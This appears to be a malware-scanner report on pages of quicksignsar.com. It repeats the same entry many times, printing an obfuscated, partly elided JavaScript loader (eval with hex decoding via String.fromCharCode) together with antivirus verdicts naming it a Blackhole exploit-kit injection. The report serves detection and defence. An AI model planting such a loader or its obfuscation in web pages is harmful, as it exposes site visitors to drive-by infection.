Request | Server response | Status |
http://quicksignsar.com/ | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../index.htm | 200 OK Content-Length: 21690 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
- VIPRE
- Exploit.JS.Blacole.of (v)
- AVG
- JS/Exploit
- Norman
- Blacole.XD
- GData
- JS:Exploit.BlackHole.PG
- BitDefender
- JS:Exploit.BlackHole.PG
|
http://quicksignsar.com/aboutus/../aboutus/../aboutus/../aboutus/../aboutus/index.htm | 200 OK Content-Length: 21180 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8
... 3548 bytes are skipped ...94(8c(d8(d1(da(98(8c(d1(da(d0(8c(95(8c(95(a7(79(76(e9(79(76(d5(d2(8c(94(da(cd(e2(d5(d3(cd(e0(db(de(9a(cf(db(db(d7(d5(d1(b1(da(cd(ce(d8(d1(d0(95(79(76(e7(79(76(d5(d2(94(b3(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(95(a9(a9(a1(a1(95(e7(e9(d1(d8(df(d1(e7(bf(d1(e0(af(db(db(d7(d5(d1(94(93(e2(d5(df(d5(e0(d1(d0(cb(e1(dd(93(98(8c(93(a1(a1(93(98(8c(93(9d(93(98(8c(93(9b(93(95(a7(79(76(79(76(d5(9c(a5(94(95(a7(79(76(e9(79(76(e9".split(inhtx);tbzpw="";begwuh("mCharCode");cvse(""+tbzpw);}Antivirus reports:- AntiVir
- JS/Blacole.45512
- Avast
- JS:Decode-BKU [Trj]
- Ad-Aware
- JS:Exploit.BlackHole.PG
- Bkav
- MW.Clod4a8.Trojan.8ec2
- Ikarus
- JS.Blackhole
- nProtect
- JS:Exploit.BlackHole.PG
- TrendMicro-HouseCall
- TROJ_GEN.F47V1031
- Comodo
- UnclassifiedMalware
- Emsisoft
- JS:Exploit.BlackHole.PG (B)
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- Microsoft
- Exploit:JS/Blacole.OF
- MicroWorld-eScan
- JS:Exploit.BlackHole.PG
- Fortinet
- JS/Kryptik.HOL!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Iframe.bopaxv
- F-Secure
- JS:Exploit.BlackHole.PG
